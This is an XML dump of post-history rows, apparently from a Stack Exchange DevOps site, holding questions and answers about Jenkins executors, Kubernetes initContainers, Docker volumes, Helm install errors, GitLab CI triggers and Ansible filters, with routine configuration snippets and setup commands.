ContentLicense="CC BY-SA 4.0" />
  <row Id="43843" PostHistoryTypeId="2" PostId="13940" RevisionGUID="97f2764a-f360-4c66-9e89-4cf0eb20299c" CreationDate="2021-05-17T20:24:40.110" UserId="24678" Text="I have set up Windows build nodes in awhile, but I do remember when I did I was only able to set 1 executor per node. Is this still true?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43844" PostHistoryTypeId="1" PostId="13940" RevisionGUID="97f2764a-f360-4c66-9e89-4cf0eb20299c" CreationDate="2021-05-17T20:24:40.110" UserId="24678" Text="How many executors can I have for a Jenkins Windows build node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43845" PostHistoryTypeId="3" PostId="13940" RevisionGUID="97f2764a-f360-4c66-9e89-4cf0eb20299c" CreationDate="2021-05-17T20:24:40.110" UserId="24678" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43846" PostHistoryTypeId="2" PostId="13941" RevisionGUID="bb3021b3-ab95-4628-a285-03d1a5ff5093" CreationDate="2021-05-17T21:20:32.470" UserId="27740" Text="If anyone comes across this later I resolved my issue by using an `initContainer` for any Pod that needed to write to the file system.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: app3&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: app3&#xD;&#xA;    image: busybox&#xD;&#xA;    command: [&quot;/bin/sh&quot;]&#xD;&#xA;    args: [&quot;-c&quot;, &quot;while true; do echo $(date -u) &gt;&gt; /data/out3.txt; sleep 5; done&quot;]&#xD;&#xA;    volumeMounts:&#xD;&#xA;    - name: persistent-storage&#xD;&#xA;      mountPath: /data&#xD;&#xA;    securityContext:&#xD;&#xA;      runAsGroup: 1337&#xD;&#xA;  initContainers:&#xD;&#xA;  - name: fs-owner-change&#xD;&#xA;    image: busybox&#xD;&#xA;    command:&#xD;&#xA;    - chown&#xD;&#xA;    - &quot;root:1337&quot;&#xD;&#xA;    - &quot;/efs-fs&quot;&#xD;&#xA;    volumeMounts&#xD;&#xA;    - mountPath: /efs-fs&#xD;&#xA;      name: cog-data&#xD;&#xA;  securityContext:&#xD;&#xA;    fsGroup: 1337&#xD;&#xA;  volumes:&#xD;&#xA;  - name: persistent-storage&#xD;&#xA;    persistentVolumeClaim:&#xD;&#xA;      claimName: efs-claim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The rest of the definitions match what was in my question." ContentLicense="CC BY-SA 4.0" />
  <row Id="43848" PostHistoryTypeId="2" PostId="13942" RevisionGUID="ac57df7d-3c5d-4201-ad04-7bc476957961" CreationDate="2021-05-18T07:44:05.877" UserId="8251" Text="When you create a new repository in Github, all the steps required are shown:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You just need to modify this accordingly for your use case:&#xD;&#xA;&#xD;&#xA;- you already have files, so no creating files&#xD;&#xA;- you may want to create the correct .gitignore for your project type, usually you exclude temporary files, such as caches, logs as well as files containing credentials&#xD;&#xA;- For this to work as per SSH example, you already need your primary public key uploaded to the same github account. If not, you can do this with a Github token, or look at the https instructions&#xD;&#xA;- if the existing repository already has commits in it, are you supposed to wipe them out? In this case use -f on git push.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CP9nS.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43849" PostHistoryTypeId="2" PostId="13943" RevisionGUID="fcf37a17-695d-4937-b1dc-66a8f2e26647" CreationDate="2021-05-18T08:36:42.357" UserId="13230" Text="I'm looking to monitor applications hosted on azure app services (both windows and linux app service plans) with ELK stack. Can't seem to find a straight forward way to have logs pushed to logstash.&#xD;&#xA;&#xD;&#xA;Any ideas ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43850" PostHistoryTypeId="1" PostId="13943" RevisionGUID="fcf37a17-695d-4937-b1dc-66a8f2e26647" CreationDate="2021-05-18T08:36:42.357" UserId="13230" Text="Ideas on push logs from azure app services to logstash" ContentLicense="CC BY-SA 4.0" />
  <row Id="43851" PostHistoryTypeId="3" PostId="13943" RevisionGUID="fcf37a17-695d-4937-b1dc-66a8f2e26647" CreationDate="2021-05-18T08:36:42.357" UserId="13230" Text="&lt;azure&gt;&lt;monitoring&gt;&lt;logging&gt;&lt;elasticsearch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43852" PostHistoryTypeId="2" PostId="13944" RevisionGUID="75e83801-043c-4de3-93fd-701e7cfeaeaf" CreationDate="2021-05-18T09:32:38.887" UserId="27673" Text="You should try the access point in EFS, https://docs.aws.amazon.com/efs/latest/ug/efs-access-points.html&#xD;&#xA;&#xD;&#xA;It enforces an operating system user and group, and a directory for every file system request made through the access point.  &#xD;&#xA;&#xD;&#xA;In other words, you can set the path as uid 1337 and gid 1337. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43853" PostHistoryTypeId="2" PostId="13945" RevisionGUID="98e3e666-a9f0-404c-aecc-5807699a3148" CreationDate="2021-05-18T09:43:05.500" UserId="27627" Text="You can specify the executors of your node in his configuration.&#xD;&#xA;&#xD;&#xA;Manage Jenkins -&gt; Manage Nodes -&gt; Configure Node -&gt; Number of build processors&#xD;&#xA;&#xD;&#xA;In environments where we only run scripts etc. we have one executor per core. &#xD;&#xA;&#xD;&#xA;But if you have large build jobs and the performance is important for you, you should read this article from the jenkins documentation. &#xD;&#xA;&#xD;&#xA;https://www.jenkins.io/doc/book/scaling/architecting-for-scale/#Calculating-how-many-jobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="43854" PostHistoryTypeId="2" PostId="13946" RevisionGUID="ceed3b73-ccf7-4c36-b792-8b975860f590" CreationDate="2021-05-18T10:31:25.663" UserId="27673" Text="2. ```git remote set-url origin xxx ( your remote repo )```&#xD;&#xA;&#xD;&#xA;3. ```git push BRANCH_NAME -f ( will force update remote ) ```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43855" PostHistoryTypeId="2" PostId="13947" RevisionGUID="fc7fc9ec-cb47-49c8-96bd-b414d9dc17d0" CreationDate="2021-05-18T12:19:27.387" UserId="16917" Text="My question is more on the concept or best practices to follow.&#xD;&#xA;&#xD;&#xA;I have two docker containers running InfluxDB and Grafana (monitoring applications). I have mounted external volume to each.&#xD;&#xA;&#xD;&#xA;now, the problem is, these containers are running for quite some time (1 year approx), i am little bit worried about Host VM resources on which these containers are running. specifically storage resources as these are monitoring applications, which may be storing some data for historical purpose as well.&#xD;&#xA;&#xD;&#xA;So, my ask is, what is the best practice to manage logs/data stored in docker volume. I don't want my Host VM to go out of storage and crash my containers.&#xD;&#xA;&#xD;&#xA;Any possible solution, if we can rotate stored data so that my container won't stop and i have the historical data as well. or if possible from application point of view (InfluxDB and Grafana) to archive old data.&#xD;&#xA;&#xD;&#xA;Thanks in advance... Please let me know if you need more details on this.&#xD;&#xA;&#xD;&#xA;below is my docker-compose.yml file&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana&#xD;&#xA;        container_name: grafana&#xD;&#xA;        user: root&#xD;&#xA;        privileged: true&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - 3000:3000&#xD;&#xA;        networks:&#xD;&#xA;          - monitoring&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-volume:/var/lib/grafana&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - 8086:8086&#xD;&#xA;        networks:&#xD;&#xA;          - monitoring&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-volume:/var/lib/influxdb&#xD;&#xA;    networks:&#xD;&#xA;      monitoring:&#xD;&#xA;    volumes:&#xD;&#xA;      grafana-volume:&#xD;&#xA;        external: true&#xD;&#xA;      influxdb-volume:&#xD;&#xA;        external: true" ContentLicense="CC BY-SA 4.0" />
  <row Id="43856" PostHistoryTypeId="1" PostId="13947" RevisionGUID="fc7fc9ec-cb47-49c8-96bd-b414d9dc17d0" CreationDate="2021-05-18T12:19:27.387" UserId="16917" Text="Log/Data rotation in Docker Container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43857" PostHistoryTypeId="3" PostId="13947" RevisionGUID="fc7fc9ec-cb47-49c8-96bd-b414d9dc17d0" CreationDate="2021-05-18T12:19:27.387" UserId="16917" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;monitoring&gt;&lt;databases&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43859" PostHistoryTypeId="34" PostId="13826" RevisionGUID="bbd53ffc-874f-4f72-8fb6-478abcf4be34" CreationDate="2021-05-18T13:00:15.093" UserId="-1" Comment="72" />
  <row Id="43861" PostHistoryTypeId="50" PostId="8408" RevisionGUID="beb4dc18-e252-4cb8-865e-861be87b126c" CreationDate="2021-05-18T15:03:10.407" UserId="-1" />
  <row Id="43862" PostHistoryTypeId="2" PostId="13948" RevisionGUID="d3a3deda-9f12-46d4-8c7c-9e564a58b3fd" CreationDate="2021-05-18T16:03:30.300" UserId="27757" Text="our source code is in our servers and we dont have approval to put it in cloud.&#xD;&#xA;&#xD;&#xA;But we dont have a seamless CI/CD. can we use azure pipeline agents or any local agents to build our code and only export the build artifacts to cloud and continue with CD.&#xD;&#xA;&#xD;&#xA;we are deploying our applications in azure but not the source code.&#xD;&#xA;&#xD;&#xA;please suggest a good CI CD for us." ContentLicense="CC BY-SA 4.0" />
  <row Id="43863" PostHistoryTypeId="1" PostId="13948" RevisionGUID="d3a3deda-9f12-46d4-8c7c-9e564a58b3fd" CreationDate="2021-05-18T16:03:30.300" UserId="27757" Text="Our code is behind the firewall and we dont want to put source code in cloud. Can we use any good CI CD using local agents for Azure/Github actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="43864" PostHistoryTypeId="3" PostId="13948" RevisionGUID="d3a3deda-9f12-46d4-8c7c-9e564a58b3fd" CreationDate="2021-05-18T16:03:30.300" UserId="27757" Text="&lt;jenkins-pipeline&gt;&lt;azure&gt;&lt;continuous-deployment&gt;&lt;cloud&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43869" PostHistoryTypeId="2" PostId="13950" RevisionGUID="8e545108-91da-4d50-aa96-4ae1b668bcee" CreationDate="2021-05-18T19:08:11.777" UserId="25666" Text="I've created container whose purpose is to act as network storage (samba). This storage is actually an external drive, with its own (independent of server, so possibly *likely to fail*) power supply. Drive is mounted to some location in host's filesystem. My container has access to this storage through docker's `volume`.&#xD;&#xA;&#xD;&#xA;I've recently performed some tests to ensure that I can consider my setup as &quot;safe&quot;. I've randomly disconnected my external drive from power supply to see what happens. Here are my observations: turning off power supply makes content of external drive disappear from host's filesystem (as expected) BUT container still sees those files. It seems like container somehow caches volume's data. Moreover, I can even read some files from within container. Normally, I would just write a script that would periodically try some read/write operations on external disk to check if it works. If it didn't, it would then send notification or restart container.&#xD;&#xA;&#xD;&#xA;The problem is, in this situation I can't do that, because it seems like Docker volumes are not failing immadiately as they somehow simulate behavior of disk even if it's not present.&#xD;&#xA;&#xD;&#xA;What I wanted to ask for here is:&#xD;&#xA;&#xD;&#xA;1. What is the best (most reliable) way to detect that volume had failed?&#xD;&#xA;2. If it failed, what would be the best way to recover my setup? How would you solve this? Should I just try to mount this disk again and again in a loop in hope it would finally succeed, or are there any better ways?&#xD;&#xA;3. Is it possible to disable caching in docker volume, so my container would know immadiately that something's broken?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43870" PostHistoryTypeId="1" PostId="13950" RevisionGUID="8e545108-91da-4d50-aa96-4ae1b668bcee" CreationDate="2021-05-18T19:08:11.777" UserId="25666" Text="How to configure docker volume mounted to external storage that is likely to fail? Detecting drive fail and automatic recovery" ContentLicense="CC BY-SA 4.0" />
  <row Id="43871" PostHistoryTypeId="3" PostId="13950" RevisionGUID="8e545108-91da-4d50-aa96-4ae1b668bcee" CreationDate="2021-05-18T19:08:11.777" UserId="25666" Text="&lt;docker&gt;&lt;linux&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43872" PostHistoryTypeId="5" PostId="13950" RevisionGUID="8b8ef088-7ea6-4853-ac63-b248e98c7672" CreationDate="2021-05-18T19:14:05.693" UserId="25666" Comment="added 9 characters in body" Text="I've created container whose purpose is to act as network storage (samba). This storage is actually an external drive, with its own (independent of server, so possibly *likely to fail*) power supply. Drive is mounted to some location in host's filesystem. My container has access to this storage through docker's `volume`.&#xD;&#xA;&#xD;&#xA;I've recently performed some tests to ensure that I can consider my setup as &quot;safe&quot;. I've randomly disconnected my external drive from power supply to see what happens. Here are my observations: turning off power supply makes content of external drive disappear from host's filesystem (as expected) BUT container still sees those files. It seems like container somehow caches volume's data. Moreover, I can even read some files from within container. Normally, I would just write a script that would periodically try some read/write operations on external disk to check if it works. If it didn't, it would then send notification to admin or restart container.&#xD;&#xA;&#xD;&#xA;The problem is, in this situation I can't do that, because it seems like Docker volumes are not failing immadiately as they somehow simulate behavior of disk even if it's not present.&#xD;&#xA;&#xD;&#xA;What I wanted to ask for here is:&#xD;&#xA;&#xD;&#xA;1. What is the best (most reliable) way to detect that volume had failed?&#xD;&#xA;2. If it failed, what would be the best way to recover my setup? How would you solve this? Should I just try to mount this disk again and again in a loop in hope it would finally succeed, or are there any better ways?&#xD;&#xA;3. Is it possible to disable caching in docker volume, so my container would know immadiately that something's broken?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43873" PostHistoryTypeId="2" PostId="13951" RevisionGUID="63b87565-de6f-4a5d-9658-69487ba81413" CreationDate="2021-05-18T19:34:22.020" UserId="17284" Text="I am developing a Helm chart. When I `helm install`, I reliably get one of a handful of different errors saying something the chart deploys already exists, e.g.:&#xD;&#xA;&#xD;&#xA;`Error: secrets &quot;my-secret-name&quot; already exists`&#xD;&#xA;&#xD;&#xA;If I try again, it fails because the release already exists. If I issue the exact same command but replace `install` with `upgrade` (and removing non-applicable options like --create-namespace if applicable), it works. This is so reliable that I've baked it into a shell script to do the `install` and then the `upgrade` automatically.&#xD;&#xA;&#xD;&#xA;It's usually a particular secret or one of two namespaces. To be clear, I can't recall a time that it wasn't one of those three specific objects, but I've become a bit blind to the error.&#xD;&#xA;&#xD;&#xA;I regularly deploy my chart to Kind and GKE clusters; the error happens in both places, even on a brand new cluster with no objects in it, but also if I uninstall and reinstall I can make it happen again. In no case has it ever been correct that the object already exists.&#xD;&#xA;&#xD;&#xA;Unfortunately, I'm not able to share my chart's source. Here are some things I can share:&#xD;&#xA;&#xD;&#xA;My chart has 5 dependent subcharts. Three of them are third-party (etcd, minio, kube-prometheus-stack); the other two are in-house charts. Every time I have noticed, the objects that already exist belong to a specific one of the in-house subcharts; never something belonging to my own chart.&#xD;&#xA;&#xD;&#xA;The subchart is a tarball that I build and import regularly using `helm dependency update`. Using different methods to build and include it do not seem to make a difference.&#xD;&#xA;&#xD;&#xA;I first encountered this with Helm 3.5.2. I upgraded to Helm 3.5.4; the problem remains. I've searched through Helm's open Github issues and come up empty. I've also Googled and found nobody experiencing the same problem.&#xD;&#xA;&#xD;&#xA;Why is this happening? I assume it's a problem with my chart, or more likely the subchart? How can I debug further? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43874" PostHistoryTypeId="1" PostId="13951" RevisionGUID="63b87565-de6f-4a5d-9658-69487ba81413" CreationDate="2021-05-18T19:34:22.020" UserId="17284" Text="`helm install` consistently fails with different errors; subsequent `helm upgrade` works. Why?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43875" PostHistoryTypeId="3" PostId="13951" RevisionGUID="63b87565-de6f-4a5d-9658-69487ba81413" CreationDate="2021-05-18T19:34:22.020" UserId="17284" Text="&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43879" PostHistoryTypeId="50" PostId="13028" RevisionGUID="75b2691e-bca7-431a-a655-e1b298773852" CreationDate="2021-05-19T07:00:25.033" UserId="-1" />
  <row Id="43880" PostHistoryTypeId="5" PostId="13950" RevisionGUID="fd304443-c5a3-4f68-abcd-7ebff1f4af26" CreationDate="2021-05-19T08:50:33.557" UserId="25666" Comment="added 388 characters in body" Text="I've created container whose purpose is to act as network storage (samba). This storage is actually an external drive, with its own (independent of server, so possibly *likely to fail*) power supply. Drive is mounted to some location in host's filesystem. My container has access to this storage through docker's `volume`.&#xD;&#xA;&#xD;&#xA;I've recently performed some tests to ensure that I can consider my setup as &quot;safe&quot;. I've randomly disconnected my external drive from power supply to see what happens. Here are my observations: turning off power supply makes content of external drive disappear from host's filesystem (as expected) BUT container still sees those files. It seems like container somehow caches volume's data. Moreover, I can even read some files from within container. Normally, I would just write a script that would periodically try some read/write operations on external disk to check if it works. If it didn't, it would then send notification to admin or restart container.&#xD;&#xA;&#xD;&#xA;The problem is, in this situation I can't do that, because it seems like Docker volumes are not failing immadiately as they somehow simulate behavior of disk even if it's not present.&#xD;&#xA;&#xD;&#xA;What I wanted to ask for here is:&#xD;&#xA;&#xD;&#xA;1. What is the best (most reliable) way to detect that volume had failed?&#xD;&#xA;2. If it failed, what would be the best way to recover my setup? How would you solve this? Should I just try to mount this disk again and again in a loop in hope it would finally succeed, or are there any better ways?&#xD;&#xA;3. Is it possible to disable caching in docker volume, so my container would know immadiately that something's broken?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Answering to @Matt:&#xD;&#xA;&#xD;&#xA;My drive is mounted automatically using `/etc/fstab` entry:&#xD;&#xA;```&#xD;&#xA;/dev/md0 /mnt/raid1/ ext4 defaults,noatime 0 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Docker volume is configured in `docker-compose.yml`:&#xD;&#xA;```&#xD;&#xA;version: &quot;3.4&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    samba_instance:&#xD;&#xA;        volumes:&#xD;&#xA;            - /mnt/raid1:/mnt/raid1&#xD;&#xA;&#xD;&#xA;        # [...] (other, irrelevant config like port numbers)&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43881" PostHistoryTypeId="2" PostId="13953" RevisionGUID="c6b7465f-8c01-4ab5-bf9d-9313f1a49749" CreationDate="2021-05-19T11:05:50.277" UserId="13379" Text="The architecting for scale calcs don't give a good calculation, just a starting point. It does not address how often your jobs are triggered. The answer really depends on what you are executing and how often. Are you doing process intensive work, I/O heavy of network heavy work? Do you have a CI pipeline trigger on every commit (and how often is that), or manual jobs?&#xD;&#xA;&#xD;&#xA;We have over 9000 jobs of all flavours, from manual and CI check-in triggered builds (Java and JS) and pipelines, to nightly integration/regression jobs file management jobs, analysis jobs, so me sometime nce in a blue moon jobs, some interact w/real hardware or simulate waits or wait for remote results processing. About 1000 jobsececute/day. We have win nodes, linux nodes, common pool and label restricted nodes, all VM based ans dedicated to Jenkins. We even have some VMs running two different agent/nodes on same VM, different settings, effectively overallocating, but not in practice.&#xD;&#xA;&#xD;&#xA;The short answer is: start with one executor/core and load it up, measure your loads (cpu/io/net/duration) and see. How long does each job take by itself (100%) vs one of many in parallel? Is the aggregate faster or longer? Gow do the loads compare?&#xD;&#xA;&#xD;&#xA;We found when we know what we are running, at specific times we can easily go 2 executors/core. Every now and then, just 2 memory intensive jobs will exhaust memory, even when just 2/4 executiors in use (bad luck, restart one). &#xD;&#xA;&#xD;&#xA;This may all be different if all your agents are cloud-based or ephemeral.&#xD;&#xA;&#xD;&#xA;YMMV.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43885" PostHistoryTypeId="2" PostId="13955" RevisionGUID="b7afb81a-11ad-46d3-9318-972b5210162b" CreationDate="2021-05-19T17:01:44.123" UserId="4252" Text="I've spent several days trying to figure out how to set up AppDynamics to monitor our SQL Server Reporting Servers, and am encountering the issue where multiple nodes for the same server and application are showing up.  I've tried following the configuration advice given [here][1], but with no success.  I either get hundreds of nodes (until the SSRS server stops responding) or no nodes at all.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience with this?  IS there a good step-by-step guide that I'm missing somewhere?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://community.appdynamics.com/t5/NET-Agent-Installation/SSRS-Monitoring/td-p/32420" ContentLicense="CC BY-SA 4.0" />
  <row Id="43886" PostHistoryTypeId="1" PostId="13955" RevisionGUID="b7afb81a-11ad-46d3-9318-972b5210162b" CreationDate="2021-05-19T17:01:44.123" UserId="4252" Text="Monitoring SSRS report server with AppDynamics" ContentLicense="CC BY-SA 4.0" />
  <row Id="43887" PostHistoryTypeId="3" PostId="13955" RevisionGUID="b7afb81a-11ad-46d3-9318-972b5210162b" CreationDate="2021-05-19T17:01:44.123" UserId="4252" Text="&lt;appdynamics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43888" PostHistoryTypeId="5" PostId="13914" RevisionGUID="ba8c2153-ab3a-4f40-aaf2-c38c0dd60b57" CreationDate="2021-05-19T20:31:24.267" UserId="27656" Comment="added 348 characters in body" Text="I have installed k8s on a linux VM using the steps below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubeadm reset --force&#xD;&#xA;$ [ -e ~/.kube ] &amp;&amp; rm -rf ~/.kube&#xD;&#xA;$ [ -e /etc/kubernetes ] &amp;&amp; rm -rf /etc/kubernetes&#xD;&#xA;$ [ -e /opt/cni ] &amp;&amp; rm -rf /opt/cni&#xD;&#xA;$ yum remove -y kubeadm kubectl kubelet kubernetes-cni kube*&#xD;&#xA;$ yum autoremove -y&#xD;&#xA;$ yum install kubeadm-1.17.17-0 kubectl-1.17.17-0 kubelet-1.17.17-0 --disableexcludes=kubernetes&#xD;&#xA;$ systemctl enable --now kubelet&#xD;&#xA;$ kubeadm init --pod-network-cidr=172.31.255.0/24&#xD;&#xA;$ mkdir -p $HOME/.kube&#xD;&#xA;$ cp -i /etc/kubernetes/admin.conf $HOME/.kube/config&#xD;&#xA;$ chown $(id -u):$(id -g) $HOME/.kube/config&#xD;&#xA;$ kubectl apply -f https://docs.projectcalico.org/v3.11/manifests/calico.yaml&#xD;&#xA;$ kubectl taint nodes --all node-role.kubernetes.io/master-&#xD;&#xA;$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml&#xD;&#xA;$ kubectl create serviceaccount cluster-admin-dashboard-sa&#xD;&#xA;$ kubectl create clusterrolebinding cluster-admin-dashboard-sa --clusterrole=cluster-admin --serviceaccount=default:cluster-admin-dashboard-sa&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am using both [druid-operator](https://github.com/druid-io/druid-operator) and [minio-operator](https://github.com/minio/operator).&#xD;&#xA;&#xD;&#xA;For some reason any deletion or update of components associated to CRDs gets stuck. &#xD;&#xA;&#xD;&#xA;I could workaround dropping finalizers but it is not practical and does not solve the problem of updating components. When I try to drop the namespace it gets stuck as well.&#xD;&#xA;&#xD;&#xA;What Im doing wrong?&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;The issue was related to [druid-operator](https://github.com/druid-io/druid-operator), not Kubernetes. &#xD;&#xA;&#xD;&#xA;The main problem was that when the operator's controller restarted it stopped watching some of its components.&#xD;&#xA;&#xD;&#xA;More info on how to solve this at [this merge request](https://github.com/druid-io/druid-operator/pull/184).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43890" PostHistoryTypeId="10" PostId="13951" RevisionGUID="313c60da-9c83-4e33-914a-63564c70883a" CreationDate="2021-05-19T20:52:25.413" UserId="4328" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7730,&quot;DisplayName&quot;:&quot;BMitch&quot;},{&quot;Id&quot;:4328,&quot;DisplayName&quot;:&quot;Preston Martin&quot;}]}" />
  <row Id="43894" PostHistoryTypeId="5" PostId="13953" RevisionGUID="fb7b33b0-db6b-421c-8003-8a1070719f8c" CreationDate="2021-05-20T01:03:08.667" UserId="13379" Comment="added 1 character in body" Text="The architecting for scale calcs don't give a good calculation, just a starting point. It does not address how often your jobs are triggered. The answer really depends on what you are executing and how often. Are you doing process intensive work, I/O heavy of network heavy work? Do you have a CI pipeline trigger on every commit (and how often is that), or manual jobs?&#xD;&#xA;&#xD;&#xA;We have over 9000 jobs of all flavours, from manual and CI check-in triggered builds (Java and JS) and pipelines, to nightly integration/regression jobs, file management jobs, analysis jobs, some sometime once in a blue moon jobs, some interact w/real hardware or simulate waits or wait for remote results processing. About 1000 jobs execute/day. We have win nodes, linux nodes, common pool and label restricted nodes, all VM based ans dedicated to Jenkins. We even have some VMs running two different agent/nodes on same VM, different settings, effectively overallocating, but not in practice.&#xD;&#xA;&#xD;&#xA;The short answer is: start with one executor/core and load it up, measure your loads (cpu/io/net/duration) and see. How long does each job take by itself (100%) vs one of many in parallel? Is the aggregate faster or longer? Gow do the loads compare?&#xD;&#xA;&#xD;&#xA;We found when we know what we are running, at specific times we can easily go 2 executors/core. Every now and then, just 2 memory intensive jobs will exhaust memory, even when just 2/4 executiors in use (bad luck, restart one). &#xD;&#xA;&#xD;&#xA;This may all be different if all your agents are cloud-based or ephemeral.&#xD;&#xA;&#xD;&#xA;YMMV.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43895" PostHistoryTypeId="50" PostId="13743" RevisionGUID="03c76682-cb90-4788-b646-941f478acf48" CreationDate="2021-05-20T11:02:35.233" UserId="-1" />
  <row Id="43896" PostHistoryTypeId="2" PostId="13956" RevisionGUID="1b64f4c5-926c-4d84-982a-8bd0aea5f5b1" CreationDate="2021-05-20T11:32:33.823" UserId="27783" Text="There is probably a better title for this question but in essence what I'm trying to achieve is I have a job which needs to include another job and needs to append a value to a variable, such as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;nightlies:&#xD;&#xA;  variables:&#xD;&#xA;    BUILD_NAME: &quot;nightly&quot;&#xD;&#xA;&#xD;&#xA;  script:&#xD;&#xA;    - $BUILD_NAME=&quot;${BUILD_NAME}-$(date +&quot;%Y%m%d&quot;)&quot;&#xD;&#xA;&#xD;&#xA;  only:&#xD;&#xA;    - schedules&#xD;&#xA;&#xD;&#xA;  trigger:&#xD;&#xA;    include:&#xD;&#xA;      - local: /.gitlab-ci/build.yml&#xD;&#xA;    strategy: depend&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However reading the documentation `script` and `trigger` cannot be used together and I'm unsure of how else to create the `BUILD_NAME` with a date. Is there in fact a way to use both? Or is there a way I could remove the trigger, in order to use script, which would still call that job? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43897" PostHistoryTypeId="1" PostId="13956" RevisionGUID="1b64f4c5-926c-4d84-982a-8bd0aea5f5b1" CreationDate="2021-05-20T11:32:33.823" UserId="27783" Text="Trigger and script in a Gitlab job" ContentLicense="CC BY-SA 4.0" />
  <row Id="43898" PostHistoryTypeId="3" PostId="13956" RevisionGUID="1b64f4c5-926c-4d84-982a-8bd0aea5f5b1" CreationDate="2021-05-20T11:32:33.823" UserId="27783" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43899" PostHistoryTypeId="5" PostId="9537" RevisionGUID="cfee42ca-c1bd-4e8a-bb8c-cab45c8eca7c" CreationDate="2021-05-20T12:28:49.570" UserId="7715" Comment="Formatting, links and cleanup." Text="Use [json_query](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#selecting-json-data-json-queries). For example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_device: &quot;{{ ansible_mounts|json_query(query) }}&quot;&#xD;&#xA;      vars:&#xD;&#xA;        query: &quot;[?mount=='/'].device &quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_device&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    my_device:&#xD;&#xA;      - /dev/sdc1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;To get the first element of the list only append the filter [first](https://jinja.palletsprojects.com/en/latest/templates/#jinja-filters.first)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_device: &quot;{{ ansible_mounts|json_query(query)|first }}&quot;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43900" PostHistoryTypeId="5" PostId="13948" RevisionGUID="f226ce91-fcab-4ed4-b61c-dd95b36f8db2" CreationDate="2021-05-20T12:45:37.893" UserId="323" Comment="deleted 2 characters in body; edited tags; edited title" Text="Our source code is in our servers and we don't have approval to put it in cloud.&#xD;&#xA;&#xD;&#xA;We don't have a seamless CI/CD. Can we use Azure pipeline agents or any local agents to build our code and only export the build artifacts to cloud and continue with CD?&#xD;&#xA;&#xD;&#xA;We are deploying our applications in Azure but not the source code.&#xD;&#xA;&#xD;&#xA;Please suggest a good CI/CD for us." ContentLicense="CC BY-SA 4.0" />
